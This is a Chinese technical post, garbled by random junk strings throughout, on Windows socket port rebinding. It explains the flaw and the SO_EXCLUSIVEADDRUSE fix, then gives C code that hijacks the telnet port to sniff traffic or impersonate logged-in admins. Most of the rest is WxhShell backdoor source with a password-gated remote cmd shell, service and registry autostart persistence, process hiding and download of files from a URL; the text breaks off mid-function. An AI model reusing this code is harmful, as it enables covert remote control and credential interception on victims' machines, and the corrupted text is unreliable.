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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: h\#4[/ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); g- #eMQ%J W!8$:Ih_Z saddr.sin_family = AF_INET; +>ituJ u]B
b ^[ saddr.sin_addr.s_addr = htonl(INADDR_ANY); L
~Vw`C nq7)0F%e bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); >/.jB/q /:A239=+ ? 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 gjT`<CW oIE(`l0l 这意味着什么?意味着可以进行如下的攻击: 2\$<&]q }1CO>a< 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 hHw1<! M aAoAjV NkK 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ;/m>c{ WR.7%U'; 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Zq1> M'V; UBM8l 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 .O~rAu*K =fBr2%qK 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ,t1s#*j\!q +A,cdi9z 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 z&GGa`T" mNe908Yw 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 79Q,XRWh| 3s:)CXO #include k]& I(VQ" #include w\t #include .*FlB>1jy #include 'uUa|J1mu DWORD WINAPI ClientThread(LPVOID lpParam); Jz;`L3m int main() zSsogAx { $3#oA.~R/ WORD wVersionRequested; ~U?vB((j! DWORD ret; ~c1~)QzZ WSADATA wsaData; u_WW
uo BOOL val; ;XYfw) SOCKADDR_IN saddr; 3kJSz-_M SOCKADDR_IN scaddr; ?aG ~E int err; d9D*w/clMi SOCKET s; `b@"GOr SOCKET sc; `~=Is.V[ int caddsize; S9/\L6Rmf HANDLE mt; DML0paOm5 DWORD tid; 8^-g yx' wVersionRequested = MAKEWORD( 2, 2 ); 9D%~~~
%b err = WSAStartup( wVersionRequested, &wsaData ); Q"xDRQA if ( err != 0 ) { I$i1o#H printf("error!WSAStartup failed!\n"); Pt;\]?LVrD return -1; mW_A3S5 } Q%GLT,f1. saddr.sin_family = AF_INET; 1nLFtiki f'Xz4; //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ^n]?!BdU SLd9-N}T saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); MT&q~jx* saddr.sin_port = htons(23); nDchLVw if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) t^9q>[/d` { HZ2 zL17 printf("error!socket failed!\n"); N)z]
F9Kg return -1; Q([g1?F9* } v#IZSBvuQK val = TRUE; oU 8o;zk0 //SO_REUSEADDR选项就是可以实现端口重绑定的 HoM8V"8B if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) VxAR,a1+n { }Ty_} 6a5 printf("error!setsockopt failed!\n"); DNM~/Oo return -1; 1G8t=IA%D } b;|^62 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; |om3* ]7 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ~Uz|sQ*G //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 KQqQ@D&n tX}Fb0y if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) =WP}RZ{S { WHF:>0B ret=GetLastError(); 2,%ne ( printf("error!bind failed!\n"); s*}d`"YvH return -1; 0$49X } PsD]gN5" listen(s,2); R?\8SdJ while(1) Un[#zh<4 { 8c$IsvJg caddsize = sizeof(scaddr); &l|B>{4v //接受连接请求 r>q`# ~ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); (C QgT3V if(sc!=INVALID_SOCKET) J.`.lQ$z { 55N/[{[ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); a. 5`Q2 if(mt==NULL) 3vs2}IV' { !*#=7^# printf("Thread Creat Failed!\n"); <$9AP break; X!_OOfueP8 } Kd,m;S\ }
n#]G!7 CloseHandle(mt); o_$r*Z|HG } RMrt4:-DI closesocket(s); eaiz
w@N WSACleanup(); ~d5{Q?T) return 0; IX3U\_I# } x[oYN9O DWORD WINAPI ClientThread(LPVOID lpParam) )I}G:bBa { If#7SF)n' SOCKET ss = (SOCKET)lpParam; J<zg 'Jk^ SOCKET sc; 4Y/!V[ unsigned char buf[4096]; bFx?HM.AGW SOCKADDR_IN saddr; q{JD]A : long num; Ul@'z| DWORD val; $1@{Zz!S DWORD ret; "Ii!)n, //如果是隐藏端口应用的话,可以在此处加一些判断 F;NZJEy //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 mg;AcAS.o, saddr.sin_family = AF_INET; ,zyrBO0 Eq saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); _bz,G"w+: saddr.sin_port = htons(23); Zd%\x[f9ck if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Tp6ysjao { },L[bDOV07 printf("error!socket failed!\n"); f!Ie return -1; fu&]t8MJC } G`W+m*[U+M val = 100; XZT( :( if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Wl2>U(lj { [E /3&3 ret = GetLastError(); ?3, * return -1; ffhD+-gTU } nz&JG~Qfm if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Yr,1##u {
^~ I ret = GetLastError(); +%~g$#tlJo return -1; MU^Z*r } )T+htD) if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) J\0YL\jw1K { !%(B2J printf("error!socket connect failed!\n"); Kj>_XaFCg! closesocket(sc); 8ksDXf`. closesocket(ss); d16PY_ return -1; \ d;Ow8%d/ } }R'oAE}$ while(1) yI;Qb7|^ { )G|UB8] //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 MLb\:Ihy //如果是嗅探内容的话,可以再此处进行内容分析和记录 G j:| //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 u@3w$"Pv1 num = recv(ss,buf,4096,0); ZtT`_G& if(num>0) x"d*[m send(sc,buf,num,0); j)5Vv
K\ else if(num==0) $_UF9l0 break; Q&LkST-i num = recv(sc,buf,4096,0); pQ hv3F if(num>0) GgYomR: send(ss,buf,num,0); Vqr&)i"b$ else if(num==0) eyWwE% break; DQ}]'*@? } ]7O?c= closesocket(ss); -|kDa1knA closesocket(sc); Glr.)PA return 0 ; sig_2; } w?C\YKF7 ?m.4f&X $p@g#3X` ========================================================== {Q"<q`c tpD?-`9o 下边附上一个代码,,WXhSHELL 4c yv
8 *%e#)sn* ========================================================== 3WYW]) m}E$6E^~O #include "stdafx.h" >4E,_ `3N z,EOyi #include <stdio.h> '$VR_N\ #include <string.h> ^b#E%Rd #include <windows.h> ]=3O,\ #include <winsock2.h> J @fE") #include <winsvc.h> V_QVLW #include <urlmon.h> k|D!0^HE[ .,,73" #pragma comment (lib, "Ws2_32.lib") (!(bysi9 #pragma comment (lib, "urlmon.lib") F*=RP$sj Mg$Z^v|}0 #define MAX_USER 100 // 最大客户端连接数 1d"P) 3dQ #define BUF_SOCK 200 // sock buffer qG qu/$bh #define KEY_BUFF 255 // 输入 buffer '9gI=/29D 9lxT5Wg #define REBOOT 0 // 重启 |<0@RCgM #define SHUTDOWN 1 // 关机 #rwR)9iC0 *GhRU5 #define DEF_PORT 5000 // 监听端口 BTyVfq
sx K&h6#[^\d #define REG_LEN 16 // 注册表键长度 ihVQ,Cth #define SVC_LEN 80 // NT服务名长度 4@I]PG s$_#T // 从dll定义API K36B9<F typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ^xwFjQXx typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); (Wqhuw!u typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); (YOgQ)}, typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); I .ty-X] h(-&.Sm")H // wxhshell配置信息 Q/9b'^UJ struct WSCFG { i.] zq int ws_port; // 监听端口 'Ot[q^,KRG char ws_passstr[REG_LEN]; // 口令 l?o-
p int ws_autoins; // 安装标记, 1=yes 0=no 0Pk-FSY|f char ws_regname[REG_LEN]; // 注册表键名 Izu.I_$4 char ws_svcname[REG_LEN]; // 服务名 fLAF/#\2 char ws_svcdisp[SVC_LEN]; // 服务显示名 U:9vjY char ws_svcdesc[SVC_LEN]; // 服务描述信息 P>-,6a> char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ?
h%+2 int ws_downexe; // 下载执行标记, 1=yes 0=no $5r,Q{;$ char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" O@rb4( char ws_filenam[SVC_LEN]; // 下载后保存的文件名 pg)g&ifKl s_LSsyqo }; >``GDjcJ ,GIqRT4K // default Wxhshell configuration |Y11sDa9h struct WSCFG wscfg={DEF_PORT, ]r6bJ2 "xuhuanlingzhe", Bl];^W^P 1, mtHz6+ "Wxhshell", $@)d9u
cd "Wxhshell", U^&Cvxc[[ "WxhShell Service", #8jd,I%L "Wrsky Windows CmdShell Service", 3)a29uc:U "Please Input Your Password: ", MavO`m&Cg 1, (SK5pU " http://www.wrsky.com/wxhshell.exe", ]w>fnew "Wxhshell.exe" FF/R_xnx }; E,@UM$alP ZZ*k3Ce // 消息定义模块 [B`P]}gL: char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ~x:]ch| char *msg_ws_prompt="\n\r? for help\n\r#>"; -;$/< char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; =1\wZuK# char *msg_ws_ext="\n\rExit."; .<%M8rcj char *msg_ws_end="\n\rQuit."; $lA,{Q char *msg_ws_boot="\n\rReboot..."; 59J9V3na char *msg_ws_poff="\n\rShutdown..."; UAZ&*{MM^ char *msg_ws_down="\n\rSave to "; ,IE0+!I ,v_r$kh^ char *msg_ws_err="\n\rErr!"; /g''-yT7# char *msg_ws_ok="\n\rOK!"; ASw|sw Zd ,= char ExeFile[MAX_PATH]; V bOLTc int nUser = 0; {2^@jD HANDLE handles[MAX_USER]; 9AzGk=^
int OsIsNt; I >Q,]S1h VYo;[ue([ SERVICE_STATUS serviceStatus; .~
lt+M9 SERVICE_STATUS_HANDLE hServiceStatusHandle; qI*1+R} a HL '(< // 函数声明 ZiYzsn int Install(void); 0\@|M @X= int Uninstall(void); 5Suc#0y int DownloadFile(char *sURL, SOCKET wsh); ot#kU 8f int Boot(int flag);
a|uZJ* void HideProc(void); f"N3;,Oc int GetOsVer(void); l0if#?4\r int Wxhshell(SOCKET wsl); r$Y!Y#hwQ void TalkWithClient(void *cs); MPN=K|* int CmdShell(SOCKET sock); 7,UFIHq int StartFromService(void); W%K8HAP " int StartWxhshell(LPSTR lpCmdLine); `|Z@UPHzG z,YUguc|
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); S=SncMO nE VOID WINAPI NTServiceHandler( DWORD fdwControl );
hP8&n9o $4JX#lkt // 数据结构和表定义 )%w8>1}c SERVICE_TABLE_ENTRY DispatchTable[] = DW&')gfQ { g8A{aHb1} {wscfg.ws_svcname, NTServiceMain}, !13
/+ u {NULL, NULL} %5?-g[ }; &W//
Ox
)f iGVb.=) // 自我安装 9?chCO(@ int Install(void) .MARF { ky$:C,1t char svExeFile[MAX_PATH]; ^)^|;C\` HKEY key; |o=ST
strcpy(svExeFile,ExeFile); t`t:qko 5XO'OSdYq // 如果是win9x系统,修改注册表设为自启动 yc=#Jn?S if(!OsIsNt) { q<[ke
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {0WIDD RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )wv[!cYyW RegCloseKey(key); .t[ZXrd|0 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6v O)s!b RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6-14Htsk6 RegCloseKey(key); 4Olv8nOe< return 0; h=r<
B\Pa } P3ev4DL } L4*fF } J*KBG2+13 else { Tc5OI' -V 1"B9Z6jf // 如果是NT以上系统,安装为系统服务 @ZR4%A"X4 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 8!Mzr1: if (schSCManager!=0) ,xe@G)a { %aE7id>v6 SC_HANDLE schService = CreateService (`.qG
&6p ( ^1yTL5#:Vw schSCManager, <&EO=A wscfg.ws_svcname, "|r^l wscfg.ws_svcdisp, #r^@*<{^ SERVICE_ALL_ACCESS, pjs9b%. SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , c0Ro3j\p SERVICE_AUTO_START, G|oB'~{& SERVICE_ERROR_NORMAL, &\lS svExeFile, -L3
|9k
NULL, pXj/6+^ NULL, *
r4/|.l NULL, ^'53]b: NULL, SOQ-D4q NULL "q>I?UcZ ); gXLZ) >+A+ if (schService!=0) \{=`F`oB= { xgqv2s>L CloseServiceHandle(schService); uQtk|)T E CloseServiceHandle(schSCManager); dzE Q$u/I strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ?$@KwA strcat(svExeFile,wscfg.ws_svcname); E(3+o\w if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { &G|jzXE RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); YEPG[W<kg RegCloseKey(key); m#'rI=}! return 0; Q1I_=fT } *5_8\7d } HZ<f( CloseServiceHandle(schSCManager); ~muIi#4 } g6/N\[b% } vWi.[] Q @OC = return 1; vV\F^ } lPcVhj6No% 5az
4N T // 自我卸载 qwNKRqT int Uninstall(void) G9y12HV { NuS|X
HKEY key; {}J@+Zsi (06Vcqg if(!OsIsNt) { kl3S~gE4@ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )\D40,p RegDeleteValue(key,wscfg.ws_regname); 0B$7S,2 RegCloseKey(key); ~UJu
@M if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
b~Pxgfu" RegDeleteValue(key,wscfg.ws_regname); Y^ZBA\D2,k RegCloseKey(key); h;ol" return 0; *v
nxP9< } Rp`_Grcd } Fx[A8G } rq(~/Yc else { _`X#c-J 2hwXWTSu SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); jPYe_y if (schSCManager!=0) O*J_+6 { |h=+&*(: SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); T^%n!t if (schService!=0) FH`'1iVH { K)Xs L if(DeleteService(schService)!=0) { W]yClx \ CloseServiceHandle(schService); +G!jKta7B CloseServiceHandle(schSCManager); r0g/ :lJi return 0; 97]a-)SA } S-LZ(o{ZL CloseServiceHandle(schService); SC
$` } ,JQxs7@2k CloseServiceHandle(schSCManager); m]=oaj@9 } igj={==m } oF@x]bmU ULNAH`{D return 1; v<7Gln } D _bkUR1 +{C9uY)$vf // 从指定url下载文件 #[U9(44, int DownloadFile(char *sURL, SOCKET wsh) >\?z37:T { kToVBU$ HRESULT hr; s*)41\V0 char seps[]= "/"; xf^<ec char *token; )p!*c, char *file; \Sw+]pr~ char myURL[MAX_PATH]; yK&*,J
| char myFILE[MAX_PATH]; ANFg]g.Az .?i-rTF: strcpy(myURL,sURL); {n'qKurxY token=strtok(myURL,seps); n(Q\',C while(token!=NULL) sR>`QIi(a { m,@1LwBH file=token; orB8Q\p' token=strtok(NULL,seps); KCJN< } ?9(o*lp ;X$q#qzN# GetCurrentDirectory(MAX_PATH,myFILE); o/dMm:TF strcat(myFILE, "\\"); pVV}1RDa strcat(myFILE, file); vhYMWfbY send(wsh,myFILE,strlen(myFILE),0); `dgM|.w5= send(wsh,"...",3,0); !O F?xW hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); :PFx& if(hr==S_OK) h"PS-]:CD return 0; S7UZGGjTk else ib(>vp$V return 1; SvX=isu!. UBhciZ } Y3P.| uO
?Od // 系统电源模块 ]<8B-D?Z int Boot(int flag) 8NaL{j1` { @ kJ0K HANDLE hToken; w*<Y$hnBzF TOKEN_PRIVILEGES tkp; [:nx);\ >k&8el6h if(OsIsNt) { Q$|^~ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); |-(IJG#) LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); jJ*@5?A tkp.PrivilegeCount = 1; 9@#h}E1$ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; QM[A;WBr7 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 3C rQBIj1 if(flag==REBOOT) { d1~_?V'r] if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) CYPazOfj return 0; (2 T#/$ } +9CEC1-l else { *%T)\\H2 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) I #M%%5e return 0; "K|)<6J } @,x_i8 } 6%gB
E else { }A4nJ>`tq if(flag==REBOOT) { i\=z' if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) x7P([^i return 0; Sc1+(z } =y<">- else { ET,Q3X\Oe if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) y:[BP4H ?y return 0; <#+oQ>5s } zU
f>db } uFwU-LCe ioC@n8_[G return 1; ~Na=+}.q_ } a
-xW 8 "t[M'[ `C // win9x进程隐藏模块 Fw_
(q! void HideProc(void) KqM! ! { May&@x/oMS ^Yj"RM$;N HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Q'Jv}'eK_ if ( hKernel != NULL ) \C]i|]tl { _\
. pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); <u/a`E? ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); _4P;+Y FreeLibrary(hKernel); v!NB~"LQ } uP{;*E3? X}oj_zsy;^ return; rQ9*J } )!'n&UxPo$ )\{'fF // 获取操作系统版本 IK*oFo{C=K int GetOsVer(void) Y%<`;wK=^ { \*f;!{P{ OSVERSIONINFO winfo; 1s#yWQ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); n,t6v5>88 GetVersionEx(&winfo); <,jAk4 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) <Ctyht0c. return 1; ,f}h} else H4M{_2DO return 0; ET U-]R 3 } P3'2IzNw <=q*N;=T, // 客户端句柄模块 {5T0RL{\N int Wxhshell(SOCKET wsl) 9*#$0Y= { G1}~.%J SOCKET wsh; 1#grB(p? struct sockaddr_in client; x!'7yx DWORD myID; hVMYB_<~ X?tj$ while(nUser<MAX_USER) o_iEkn { +"'F Be int nSize=sizeof(client); ]]>nbgGn# wsh=accept(wsl,(struct sockaddr *)&client,&nSize); H76E+AY if(wsh==INVALID_SOCKET) return 1; }<vvxi Vy]A,Rn7 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 2
9q?$V( if(handles[nUser]==0) +0VG[c\8 closesocket(wsh); A#<vG1 else S8\+XJ nUser++; `SCy<w3$+[ } (~S<EUc$ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); _ 1sP.0 t [}z?1Gj;W( return 0; IuNkfBe4m } ]Z_$'?f l;Q
>b]DZ // 关闭 socket ylk{! void CloseIt(SOCKET wsh) X]qCS0GD' { _3|6ZO closesocket(wsh); Vl<`|C> nUser--; aiYo8+{!# ExitThread(0); kEO1TS } _*Pfp+if aC`Li^ // 客户端请求句柄 }/20%fP void TalkWithClient(void *cs) Bb~5& @M|N { d+tj%7 z; J SOCKET wsh=(SOCKET)cs; L^lS^P char pwd[SVC_LEN]; tyB)HF char cmd[KEY_BUFF]; 8$ic~eJ char chr[1]; 1YFeVMc int i,j; (wife#)~ hGvq T, ' while (nUser < MAX_USER) { d>&\V)E -TgUyv. if(wscfg.ws_passstr) { 'GkvUrD9D$ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Yt{ji //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); T)8p:}P! //ZeroMemory(pwd,KEY_BUFF); @:
Z#E[N H i=0; {ih:FcI
while(i<SVC_LEN) { L_^`k4ct cv= \g Z // 设置超时 EJ G2^DSS fd_set FdRead; "=qv#mZ#9 struct timeval TimeOut; z=qWJQ FD_ZERO(&FdRead); mmHJh\2v FD_SET(wsh,&FdRead); V~85oUc\- TimeOut.tv_sec=8; GA\2i0ow TimeOut.tv_usec=0; Rb#/qkk/ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); H<,bq*@ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Uj,g]e8e *6XRjq^# if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); V{0%xz # pwd =chr[0]; }t\
10nQ if(chr[0]==0xd || chr[0]==0xa) { ? ~,JY pwd=0; gwiR/(1 break; Tv\HAK<N } ~
7}] i++; /_q#ah } M|k&TTV
vO]J]][ // 如果是非法用户,关闭 socket '*4iqPR; if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); MI\]IQU } )A"jVQjI%w PK+ x6]x send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); &U&Zo@ot"x send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); X'@'/[? RJx{eck% while(1) { zka?cOmYF[ +C_*Vs@4 ZeroMemory(cmd,KEY_BUFF); 2SciB*5 KY
g3U // 自动支持客户端 telnet标准 8"i/wMP] j=0; ENq"mwV| while(j<KEY_BUFF) { =:gjz4}_8 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Ir27ZP cmd[j]=chr[0]; ")ED)&e if(chr[0]==0xa || chr[0]==0xd) { ]YsR E> cmd[j]=0; B9*Sfw% break; &:No}6 } t!{x<9 j++; l<xFnj } +*C^:^jA >$uUuiyL4 // 下载文件 f*<ps
o if(strstr(cmd,"http://")) { !!WJn} send(wsh,msg_ws_down,strlen(msg_ws_down),0); K6hfauWd[ if(DownloadFile(cmd,wsh)) hO6RQ0Iv@ send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0wFh%/: else &DLhb90 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~M*gsW$ } y"-{$ N
else { b
=b:
RL*]g* switch(cmd[0]) { TT7PQf > P?J kP // 帮助 /PqUXF case '?': { :G 5C ]'t send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); +i=p5d5 break; C8.W5P[U } e!Br>^8l // 安装 JT)k case 'i': { x>
\Bxa8 if(Install()) rz.IoQo send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3] ^' else <Oa9oM},d send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Nd!c2` break; -NzTqLBn } gI{ =0 // 卸载 <HF-2?` case 'r': { fa{@$ppx if(Uninstall()) 6V2j*J send(wsh,msg_ws_err,strlen(msg_ws_err),0); B\[-fq else 3gc"_C\$ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); EwQae(PpA break; :B.G)M\ } fhRjYYGI // 显示 wxhshell 所在路径 Q#pnj thM case 'p': { h<% U["
char svExeFile[MAX_PATH]; ~<,Sh~Ana. strcpy(svExeFile,"\n\r"); H&bh<KPMh strcat(svExeFile,ExeFile); 7/"@yVBW send(wsh,svExeFile,strlen(svExeFile),0); 6m[9b*s7 break; oLS7`+b$ } a#y{pT2 b // 重启 dB3N%pB^ case 'b': { %S`ik!K"I send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 7Z0/(V.- if(Boot(REBOOT)) E>}q2 send(wsh,msg_ws_err,strlen(msg_ws_err),0); S+ebO/$> else { b_vTGl1_6 closesocket(wsh); 3dG4pl~ ExitThread(0); g1@wf } bS rZ{l break; k[9A,N^lZB } x=Mm6}/ // 关机 s;1e0n case 'd': { z0Xa_w= send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); m*oc)x7' if(Boot(SHUTDOWN)) rzu
s send(wsh,msg_ws_err,strlen(msg_ws_err),0); G),db%,X2 else { eYEc^nC,c) closesocket(wsh); jczq`yW ExitThread(0); sRq U]i8l } Pp*}R2 break; ~@P )tl> } I4ilR$jg // 获取shell Y Pszk5hn case 's': { ezZph"& CmdShell(wsh); Ttv'k*$cP closesocket(wsh); "={L+di:M ExitThread(0); v!trsjb break; `?uPn~,e8 } +< KNY // 退出 uD(t`W" case 'x': { VAKy^nR5j send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); xl2g0? CloseIt(wsh); LgHJo-+> break; d(S}NH } "'A"U // 离开 |scUo~ case 'q': { g.a| c\WH send(wsh,msg_ws_end,strlen(msg_ws_end),0); %
{Q-8w! closesocket(wsh); RrWNJ&o WSACleanup(); vg(K$o{BT exit(1); frqJN break; RH1uVdJ1 } ]yLhJ_^ } Ei~f`{i } QlD6i-a ~lw<799F6 // 提示信息 ow.j+<M if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); oT3Y!Y3=< } #C\4/g?=, } Jqru AW< >Z\BfH return;
p5<2N } /2@["*^$ 4;*f1_;f~ // shell模块句柄 X/+OF'po int CmdShell(SOCKET sock) 0 {R/<N { I/B1qw;MN STARTUPINFO si; VXIQw'Cq ZeroMemory(&si,sizeof(si)); XP;x@I#l si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ~>%DKJe si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Zq*eX\#C PROCESS_INFORMATION ProcessInfo; 3k'.(P|F char cmdline[]="cmd"; A1A3~9HuK CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 5f{|"LG& return 0; 8Rxc&`_X } #J$qa Ul Nn#u%xvJt // 自身启动模式 9#rt:&xo0 int StartFromService(void) Z@J.1SaB { l2&hBacT typedef struct Uix{" { qI2'u % DWORD ExitStatus; "l,UOv c DWORD PebBaseAddress; =!,Gst_ DWORD AffinityMask; 9;KJr[FQV DWORD BasePriority; j|K.i/ ULONG UniqueProcessId; &U&%ka<* ULONG InheritedFromUniqueProcessId; iZ;TYcT } PROCESS_BASIC_INFORMATION; @J vZ[T/ >V!LitdJ PROCNTQSIP NtQueryInformationProcess; sR*Nq5F#9 '[Gm8K5
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Y\?j0X; static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; arh@`'Q @E_zR HANDLE hProcess; E
_iO@ PROCESS_BASIC_INFORMATION pbi; mU G
